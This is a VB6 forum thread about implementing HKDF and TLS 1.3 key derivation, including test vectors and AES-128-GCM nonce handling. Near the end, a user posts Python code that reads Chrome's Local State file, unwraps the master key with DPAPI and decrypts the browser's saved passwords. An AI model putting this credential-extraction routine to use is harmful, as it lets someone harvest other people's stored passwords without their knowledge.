Vb6 - hkdf

[couttsj]

The PRF (Pseudo Random Function) for TLS 1.2 was different from the PRF for TLS 1.0, and yet again it is different for TLS 1.3. As a matter of fact, it is no longer called a PRF; it is called an HKDF (HMAC-based Extract-and-Expand Key Derivation Function). Although similar to the previous Pseudo Random Functions, it is simpler and more general purpose. Being simpler means that one should be somewhat more careful in it's usage, and potential users would be well advised to read the following:
https://tools.ietf.org/html/rfc5869
Unlike most RFC documents it is relatively easy to follow in general terms, but I experienced a number of gotchas that were difficult to troubleshoot in implementing it.

There are 2 main functions; Extract and Expand. Extract produces a key(secret) from the Input Key Material (IKM) and a salt. In TLS 1.3, the key material is the ECDHE (Elliptical Curve Diffie-Hellman Ephemeral) key, and the salt is optional though highly recommended. It produces a key called the PRK (Pseudo Random Key), which is the length of the Hash algorithm used (32 for SHA256). The PRK is then used to create the necessary keying material needed for the encryption process by calling the Expand function.

The HMAC process I used for the TLS 1.2 PRF was very specific to that function, so the first step was to produce a more general purpose HMAC (Hash-based Message Authentication Code) routine. This is all that is necessary to produce the PRK. The PRK along with an optional Info byte string are then used cyclically as many times as is necessary to produce the Output Keying Material (OKM) needed.

RFC5869 contains 7 sample Test Vectors, of which I have implemented 6 (number 7 had already been tested in 2). There wasn't a lot of information available for SHA384/SHA512, and Test 7 uses SHA512. To get the expected value for the PRK, I used the following page:
https://www.liavaag.org/English/SHA-Generator/HMAC/

J.A. Coutts

[couttsj]

Attached is an updated version of the HKDF Demo. Two more tests have been added that demonstrate the key generation process used by TLS 1.3 according to the examples given by:
https://tlswg.github.io/draft-ietf-t...3-vectors.html

Although TLS 1.3 has simplified the general process and eliminated many needless functions, the same cannot be said for key generation. It is very convoluted and difficult to work with. TLS 1.3 does away with the MAC key, but adds a Handshake key and Handshake IV (Initialization Vector). Unlike the previous TLS versions which created a Master Key from a Pre-Master Key, and then expanded it to create a key block from which the various keys could be extracted, TLS 1.3 creates the keys using separate "Expand" functions. The general principle is that a secret is "Extracted" using a key and a Salt. That secret is then used along with context to derive another secret. That derived secret is then combined with a key (such as the ECDHE key) to produce a PRK (Pseudo Random Key), which is then expanded to the individual encryption keys and IV's.

The Client and Server Randoms are still there, but do not appear to be used for their original purpose. I believe they are only there to be compatible with previous versions. The extensions are used to a much greater extent, including the transmission of the Public ECDHE key.

As I mentioned earlier, there is no MAC key. That is because the ciphers used are all AEAD (Authenticated Encryption with Associated Data). AES-128-GCM combines the Write IV with the Sequence Number into the Nonce, and the Nonce is used in the production of the encrypted value. This process ensures that the Nonce is never duplicated, which is a requirement of AES-GCM. Doing this allows the AES block cipher to be used much like a Stream cipher, which produces an encrypted value that is the same length as the input value.

The "Finished" value shown in the TLS tests are not the same as the ones sent to the other end. I believe that the "tls13 finished" value is encrypted with the Handshake keys, but after spending a lot of effort to duplicate the "AES_128_GCM" process, I have not been able to duplicate the final "Finished" value. The same goes for the hash used in the creation of the Application keys.

Also added to the program was an AES-128-CGM encryption test of the Finished value. From all the information I could gather, I assumed that the Finished record was encrypted with the Handshake keys. Unfortunately, I was not able to duplicate the example results. Repeating the test causes a different answer each time because of the incrementing of the Send Sequence Number.

Because of the requirement to Xor the Handshake IV with the Sequence Number, the Sequence Numbers were changed from 3 long values to byte arrays the same length as the IV (12). This necessitated upgrading of the Increment routines.

J.A. Coutts

[couttsj]

The unknown third hash has been resolved. It is the Session Hash including the Client Hello, the Server Hello, and the Certificate Data combined with the Server Finished record (unencrypted). The HKDF2 attachment has been updated to reflect this information.

Now there is only one mystery left to solve. What did they do to the Server Finished record?

J.A. Coutts

[couttsj]

The HKDF2.zip file has been modified again, adding an AES-128-CGM encryption/decryption test of the Client Finished message. However many times the Encrypt button is clicked, the same number of clicks on the Decrypt button will restore the original unencrypted value. This is accomplished using a single encryption/decryption routine with a flag to differentiate.

J.A. Coutts

[couttsj]

I finally figured out what they did with the "Finished" record. It is "Extracted" (ie. HMAC) using the current Session Hash. Even though the Encrypted Extensions, Certificate, Certificate Verify & Finished records are all sent by the Server at the same time as one record, the Session Hash appears to be updated independently. So the Session Hash used to create the "Finished" message from the "tls13 finished" does not include the Finished record itself.

I have not updated the HKDF2.zip record as it really doesn't impact the key production in the demo itself.

J.A. Coutts

[LeandroA]

Hi, I'm trying to pass a module from c to vb, and I came across your module that I think could help me to decrypt, but I don't understand how it works.

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil


def get_master_key():
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key


def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)


def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)


def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        # print("Probably saved password from version older than v80\n")
        # print(str(e))
        return "version < 80"

how am i supposed to call this line AES.new(aes_key, AES.MODE_GCM, iv)

thanks for your help

[wqweto]

how am i supposed to call this line AES.new(aes_key, AES.MODE_GCM, iv)

No, this has nothing to do with HKDF.

Start a new thread with a proper subject (not in CodeBank) and I'll show you how to decrypt AES-GCM in VB6.

cheers,
</wqw>

[couttsj]

Hi, I'm trying to pass a module from c to vb, and I came across your module that I think could help me to decrypt, but I don't understand how it works.

thanks for your help

The code you posted doesn't look like "C" code, and as wqweto has said, HKDF doesn't have anything to do with the decryption process itself. It is used in calculating the keys themselves. To understand the TLS 1.3 process, see:
https://www.vbforums.com/showthread....mulate-TLS-1-3

It is not exactly simple or straight forward.

J.A. Coutts

[LeandroA]

Ups, sorry, i ended up in the wrong thread, in some of his projects I found clsCrypt.cls and searching in google I found a thread where it brought me here but now I see that it was not the main thread.

I will create a new post, I am not familiar with cryptography and I do not understand anything, but I think the class clsCrypt does what I am looking for